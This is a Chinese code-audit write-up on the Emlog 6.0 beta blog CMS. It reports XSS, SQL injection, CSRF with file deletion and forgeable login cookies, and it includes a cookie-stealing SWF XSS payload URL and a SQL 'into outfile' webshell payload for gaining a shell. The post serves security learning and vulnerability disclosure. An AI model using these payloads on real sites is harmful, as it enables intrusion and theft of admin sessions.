[小东]代码审计之Emlog 6.0 Beta

Y4er — Sat, 03 Nov 2018 05:08:10 +0000

Emlog 6.0 beta版本，这可能是最后一篇关于PHP语言CMS的代码审计文章，此次将详细记录完整的审计过程。

*2018-11-02 之前这篇文章发到 Freebuf 上面的由于某些原因删除了，却被某些爬虫网站给抓取了，现在公开，希望大家做一个合理的学习，切勿用于非法用途！官网也更新了6.0正式版，现在作为最后公布也不存在不妥之处，再次声明：仅供学习参考，任何由个人行为产生的违法犯罪结果自行承担！

首发地址：http://www.sohu.com/a/246790332_354899

文章涉及漏洞已上交给国家，所以不要多想了

文章基本上完整记录小东的对此CMS审计过程，或许显得繁琐，但代码审计的过程就是这样，发现可能项，然后精心构造去验证，这过程中我们会遇到很多次碰壁，坚持测试，思维活跃一些，基本都会有所收获，诚挚希望后来者能够耐心阅读下去，当然最好也能够有所启发。

大家需要注意的一点是，代码审计是为了学习并在SDL中避免发生类似的错误，同时也是帮助开源系统修复相关问题，并不是去为了获得什么0day~

0x00 Emlog 6.0 beta

官网地址：https://www.emlog.net/

Emlog 6.0 beta下载地址：https://www.emlog.net/download

由于官方限制论坛会员(注册付费)才可下载，这里提供一个原版下载地址：https://www.lanzous.com/i1l5gad

文件校验：

文件: C:\Users\stdy\Desktop\emlog_6.0.0.zip
大小: 607725 字节
修改时间: 2018年8月6日, 20:53:50
MD5: 7844FE6FEAE7AF68052DC878B8811FAC
SHA1: E06A050D2A0AA879DB9F5CFCAA4703B6AC7B8352
CRC32: 4963E489

博主的博客就是基于此套博客系统，其实很多圈内大佬都在使用，对于本款CMS的审计文章却并没有，小东就来以此CMS作为PHP代码审计的封笔之作。

0x01 初步测试

首先，我们得先安装！安装成功后的首页界面：

默认后台登陆地址：./admin/

登陆成功后：

闲话一句，感觉6.0比5.3.1版本好看太多了~

安装过后，我们应该尽可能全面搜集关于此CMS的信息，这对于我们审计代码有很大的帮助。

所以，分析得到此CMS的大致结构，Emlog是一个 MVC 的设计模式，大致的结构如图：

因此我们主要会分析 admin 和 include 文件夹下的文件。

数据库表：

在根目录的init.php 文件中

报错等级指定为7：

0x02 使用漏洞扫描器

可能有朋友就会说你为什么要使用“漏扫”呐？不是代码审计吗？

这里要纠正一下这个观点，漏扫其实就是一个自动化黑盒测试，在本地环境下，我们不会影响任何的业务。

通过漏扫出的漏洞能够方便我们快速定位漏洞位置，这样是一种高效的方式，这也是在团队里的成员通过漏扫Get了百度的几个高危漏洞给小东的启示。

这里使用了一款重型扫描器 AWVS ，得到的报告如下：

不过在本地扫描时，使用的是 XAMPP windows10 PHP5.6的环境，所以导致漏洞报告中很多误报，漏扫主要扫描出了几个XSS漏洞和CSRF漏洞

所以我们首先验证这两类的漏洞

0x03 文章编辑器储存性XSS

在后台的编辑器处，编辑文章./admin/admin_log.php

成功发布后，来到首页

进入文章页后

都弹窗了，这里大家可能要说没法儿利用，但是emlog设计了 会员/作者 功能，在emlog中的某些模版中可以前台注册会员，会员登录后可以编辑发表文章，评论等等功能。Emlog官方还提供了文章投稿插件，都是调用了官方默认的Kindeditor编辑器，这个编辑器自带HTML编辑模式，就算不带这个模式，攻击者也可以抓包修改达到攻击目的。

为什么前台没过滤呐？为了文章有支持HTML代码输出，所以对于kindeditor的保存输出内容并没有转义。

修复建议：参考其他CMS做好文章内容关键词的检测，并做好过滤或者转义

0x04 Uploadify SWF XSS

Emlog使用了 uploadify.swf 的方式上传文件，文件路径 /include/lib/js/uploadify/uploadify.swf

构造Payload:http://www.test.com//include/lib/js/uploadify/uploadify.swf?uploadifyID=00%22%29%29;}catch%28e%29{alert%281%29;}//%28%22&movieName=%22])}catch(e){if(!window.x){window.x=1;alert(document.cookie)}}//&.swf

效果，可无视浏览器filter：

0x05 反射型XSS

此处的XSS主要发生在cookie上，因为某些页面如 admin/admin_log,admin/sort.php,admin/link.php页面需要在表单中添加了hidden属性的token值，而这个token值直接从用户的cookie中取得，导致了一个反射型XSS

拦截抓包修改cookie中的token值如下：

效果：

其次验证了 CSRF 漏洞，这个是前台的搜索框的CSRF根本没什么价值

然后是管理员添加友情链接的XSS，经过验证并不存在，后台函数会限制字数

然后就是我们开始进行原始的代码审计工作了，主要借用了Seay代码审计工具和Rips，这种审计工具主要依靠正则匹配可能导致危险的php函数来作为可能存在漏洞的判断，半自动化的方式，在一定程度上缓解了代码审计的压力。

0x06 基本函数

首先看了一下文件操作相关的函数，发现经常用到 View::getView 这一方法，

在include/lib/view.php 文件中，源码如下：


 
同时作为权限控制的 LoginAuth::checkToken()，在 \include\lib\loginauth.php下约209行开始
/**
* 生成token，防御CSRF攻击
*/
public static function genToken() {
    $token_cookie_name = 'EM_TOKENCOOKIE_' . md5(substr(AUTH_KEY, 16, 32) . UID);
    if (isset($_COOKIE[$token_cookie_name])) {
        return $_COOKIE[$token_cookie_name];
    } else {
        $token = md5(getRandStr(16));
        setcookie($token_cookie_name, $token, 0, '/');
        return $token;
    }
}

/**
* 检查token，防御CSRF攻击
*/
public static function checkToken(){
    $token = isset($_REQUEST['token']) ? addslashes($_REQUEST['token']) : '';
    if ($token != self::genToken()) {
        emMsg('权限不足，token error');
    }
}
 
验证了Rips扫描出的文件包含问题（第一次使用Rips），发现无法复现，因为Rips扫描的时候是以文件形式，并没有参照程序的严格逻辑，导致的误报！
来到 \admin\admin_log.php 文件，从第78行开始：
//操作文章
if ($action == 'operate_log') {
    $operate = isset($_REQUEST['operate']) ? $_REQUEST['operate'] : '';
    $pid = isset($_POST['pid']) ? $_POST['pid'] : '';
    $logs = isset($_POST['blog']) ? array_map('intval', $_POST['blog']) : array();
    $sort = isset($_POST['sort']) ? intval($_POST['sort']) : '';
    $author = isset($_POST['author']) ? intval($_POST['author']) : '';
    $gid = isset($_GET['gid']) ? intval($_GET['gid']) : '';

    LoginAuth::checkToken();

    if ($operate == '') {
        emDirect("./admin_log.php?pid=$pid&error_b=1");
    }
    if (empty($logs) && empty($gid)) {
        emDirect("./admin_log.php?pid=$pid&error_a=1");
    }

    switch ($operate) {
        case 'del':
            foreach ($logs as $val)
            {
                doAction('before_del_log', $val);
                $Log_Model->deleteLog($val);
                doAction('del_log', $val);
            }
            $CACHE->updateCache();
            if ($pid == 'draft')
            {
                emDirect("./admin_log.php?pid=draft&active_del=1");
            } else{
                emDirect("./admin_log.php?active_del=1");
            }
            break;
        case 'top':
            foreach ($logs as $val)
            {
                $Log_Model->updateLog(array('top'=>'y'), $val);
            }
            emDirect("./admin_log.php?active_up=1");
            break;
        case 'sortop':
            foreach ($logs as $val)
            {
                $Log_Model->updateLog(array('sortop'=>'y'), $val);
            }
            emDirect("./admin_log.php?active_up=1");
            break;
        case 'notop':
            foreach ($logs as $val)
            {
                $Log_Model->updateLog(array('top'=>'n', 'sortop'=>'n'), $val);
            }
            emDirect("./admin_log.php?active_down=1");
            break;
        case 'hide':
            foreach ($logs as $val)
            {
                $Log_Model->hideSwitch($val, 'y');
            }
            $CACHE->updateCache();
            emDirect("./admin_log.php?active_hide=1");
            break;

        ...//中间的代码要验证管理身份，故省略

        case 'uncheck':
            if (ROLE != ROLE_ADMIN)
            {
                emMsg('权限不足！','./');
            }
            $Log_Model->checkSwitch($gid, 'n');
            $CACHE->updateCache();
            emDirect("./admin_log.php?active_unck=1");
            break;
    }
}
 
那么我们尝试越权删除文章

http://www.test.com/admin/admin_log.php?action=operate_log&operate=del&blog=29&token=994132a26661c8c244a91063c4701a7e 失败了提示权限不足，来到\include\model\log_model.php 发现
/**
 * 删除文章
 *
 * @param int $blogId
 */
function deleteLog($blogId) {
    $author = ROLE == ROLE_ADMIN ? '' : 'and author=' . UID;
    $this->db->query("DELETE FROM " . DB_PREFIX . "blog where gid=$blogId $author");  //这里和上一句限制了作者只能删除自己的文章
    if ($this->db->affected_rows() < 1) {
        emMsg('权限不足！', './');
    }
    // 评论
    $this->db->query("DELETE FROM " . DB_PREFIX . "comment where gid=$blogId");
    // 标签
    $this->db->query("UPDATE " . DB_PREFIX . "tag SET gid= REPLACE(gid,',$blogId,',',') WHERE gid LIKE '%" . $blogId . "%' ");
    $this->db->query("DELETE FROM " . DB_PREFIX . "tag WHERE gid=',' ");
    // 附件
    $query = $this->db->query("select filepath from " . DB_PREFIX . "attachment where blogid=$blogId ");
    while ($attach = $this->db->fetch_array($query)) {
        if (file_exists($attach['filepath'])) {
            $fpath = str_replace('thum-', '', $attach['filepath']);
            if ($fpath != $attach['filepath']) {
                @unlink($fpath);
            }
            @unlink($attach['filepath']);
        }
    }
    $this->db->query("DELETE FROM " . DB_PREFIX . "attachment where blogid=$blogId");
}
 
这个越权漏洞不存在，同时看了下面的函数判断也是做了类似的处理
到这里其实我们对于整个 CMS 的架构已经较为熟悉了，基本能根据对应函数功能，直接手动找到对应的函数位置。
令人伤心的是，通过 Rips 代码审计工具得到的结果，一个都没复现成功…
0x07 Seay辅助审计
相信很多人都知道法师的这款工具，主要还是因为中文，用着方便，但是完全依靠正则的方式去匹配函数，只能发现那些函数直接的控制漏洞，逻辑漏洞有时候可以根据逆推可以发现，但这种情况很少。
使用这款工具扫描出来共120个可能的情况（根据经验98%以上都是没法复现的），然后一个个排查，有的例如SQL语句反单引号这样的，很容易就可以判断给忽律，就不需要考虑。
在 /admin/store.php 看到这样一串代码：

这里我的思考是，如果在emlog官网有URL跳转链接的话，那么就可以构造下载远程任意的文件到网站，但是测试了官网没有跳转链接，那么我们尝试下载别的插件（链接跳转等），或者有黑客精心构造了一个插件或者模版，然后再利用，这也算是一个可行的方案。
此处需要管理员权限，作为代码审计的一个参考思路，不是要发现什么0day，而是希望大家能够在代码审计方面有所收获。
(1). SQL注入
对于SQL注入，Seay工具一直都没准过，这里小东推荐方式，使用全局搜索 $_GET[ 或 $_PSOT[，然后看看是否代入了SQL查询，然后一一验证。
然后我发现了这样一个没有过滤IP参数

然后到 admin/comment.php 中查看

再看 delCommentByIp($ip) 函数

由此我们可以确定了SQL注入的存在
验证如下：

(2).一个CSRF+任意文件删除
$_GET[]型分析完以后，就寻找$_POST[]的，然后在admin/data.php文件中找到了如下代码

这里我们发现，并没有验证toknen，那么可以构造csrf页面，这里小东就不演示了，直接BURP验证一下任意文件删除吧，关于CSRF，只要没有调用上面基础函数部分说到的 LoginAuth::checkToken() 方法的，都存在CSRF

这里就成功删除了文件
(3).TAG SQL注入
在POST参数中发现此处并没有过滤，同时在 deleteTag() 函数中，代入了SQL查询，因此又是一个SQL注入

来看deleteTag()函数：

又调用了getBlogIdsFromTagId()函数，同样没有过滤

因此使用抓包验证一下：

但是其他语句利用时候并没有回显，小东不知道什么原因，没仔细探究，但是可以采用时间盲注的方式。
至此，利用工具的半自动化审计已经结束，下面准备手工测试

0x08 手工测试
手工测试也不是单纯的翻文件，应当以灰盒测试为主导，从逻辑、权限、敏感信息等方面入手
(1).后台登陆存在暴力破解风险
在这里，我之前提到过的验证码未及时销毁的历史问题还存在，此处不再详细叙述，请参考https://blog.csdn.net/dyboy2017/article/details/78433748
(2).报错信息导致物理路径泄漏
大家不要以为这是小事情，当sql注入存在的时候，我们有机会是可以直接写shell文件，安全无小事
一个低权限的方式，在游客的条件下测试一下

payload:http://www.test.com/admin/attachment.php?action[]=
原因是：addslashes() expects parameter 1
(3).Cookie可计算
在include/lib/loginauth.php中134行开始
/**
 * 写用于登录验证cookie
 *
 * @param int $user_id User ID
 * @param bool $remember Whether to remember the user or not
 */
public static function setAuthCookie($user_login, $ispersis = false) {
    if ($ispersis) {
        $expiration  = time() + 3600 * 24 * 30 * 12;
    } else {
        $expiration = null;
    }
    $auth_cookie_name = AUTH_COOKIE_NAME;
    $auth_cookie = self::generateAuthCookie($user_login, $expiration);
    setcookie($auth_cookie_name, $auth_cookie, $expiration,'/');
}

/**
 * 生成登录验证cookie
 *
 * @param int $user_id user login
 * @param int $expiration Cookie expiration in seconds
 * @return string Authentication cookie contents
 */
private static function generateAuthCookie($user_login, $expiration) {
    $key = self::emHash($user_login . '|' . $expiration);
    $hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);
    $cookie = $user_login . '|' . $expiration . '|' . $hash;
    return $cookie;
}
 
可以看到此处的cookie都可以直接计算得到，只需要知道根目录下config.php中的
//auth key
define('AUTH_KEY','dx1&CH^En86GZnxd9CLO7GwC0Q5eYHKM450f598bbd148b6a62f7d263623e31c3');
//cookie name
define('AUTH_COOKIE_NAME','EM_AUTHCOOKIE_VzfVniPWDqd1LM3BFocnrcjpAGH4lUbz');
 
即可。
(4).侧边栏存储性XSS
为了同样是为了支持HTML代码的输出，没有转义对应的脚本代码标签，导致了存储性的XSS存在


0x09 Getshell
(1).SQL注入拿到shell
如上所讲有SQL注入的存在，同时可以获取到物理路径，那么就可以直接写Shell
(2).后台插件上传zip
因为后台可以直接上传本地zip文件，这里我们去官网下载一个插件，同时把我们的shell文件（比如dyboy.php）加入zip，上传安装这个插件就可以了，然后shell地址为：http://www.test.com/content/plugins/插件名/dyboy.php
(3).后台模版上传zip
和插件同样的原理，这里的shell地址为：http://www.test.com/content/templates/模版名/dyboy.php
(4).备份文件拿shell
后台的数据功能处，先备份一个，然后下载到本地，加入SELECT "@assert($_POST['dyboy'])?>" into outfile 'D:\\Server\\htdocs\\safe\\dyboy.php';
然后导入备份恢复本地数据即可
这样就在网站个目录生成了一个dyboy.php的shell

0x10 总结
EMLOG是一个非常小巧轻快的博客系统，运行占用资源非常低，所以非常适合博主用作博客用途，其实只要不开启会员功能，没有弱口令就没有什么大的威胁。以此文章作为PHP代码审计的终稿，文章所述方法同样适用于其他的CMS代码审计和分析，创作不易，也希望本文章能对大家能有所启示。

emlog – ChaBug安全

[小东]代码审计之Emlog 6.0 Beta

文章涉及漏洞已上交给国家，所以不要多想了

0x00 Emlog 6.0 beta

0x01 初步测试

0x02 使用漏洞扫描器

0x03 文章编辑器储存性XSS

0x04 Uploadify SWF XSS

0x05 反射型XSS

0x06 基本函数

0x07 Seay辅助审计

(1). SQL注入

(2).一个CSRF+任意文件删除

(3).TAG SQL注入

0x08 手工测试

(1).后台登陆存在暴力破解风险

(2).报错信息导致物理路径泄漏

(3).Cookie可计算

(4).侧边栏存储性XSS

0x09 Getshell

(1).SQL注入拿到shell

(2).后台插件上传zip

(3).后台模版上传zip

(4).备份文件拿shell

0x10 总结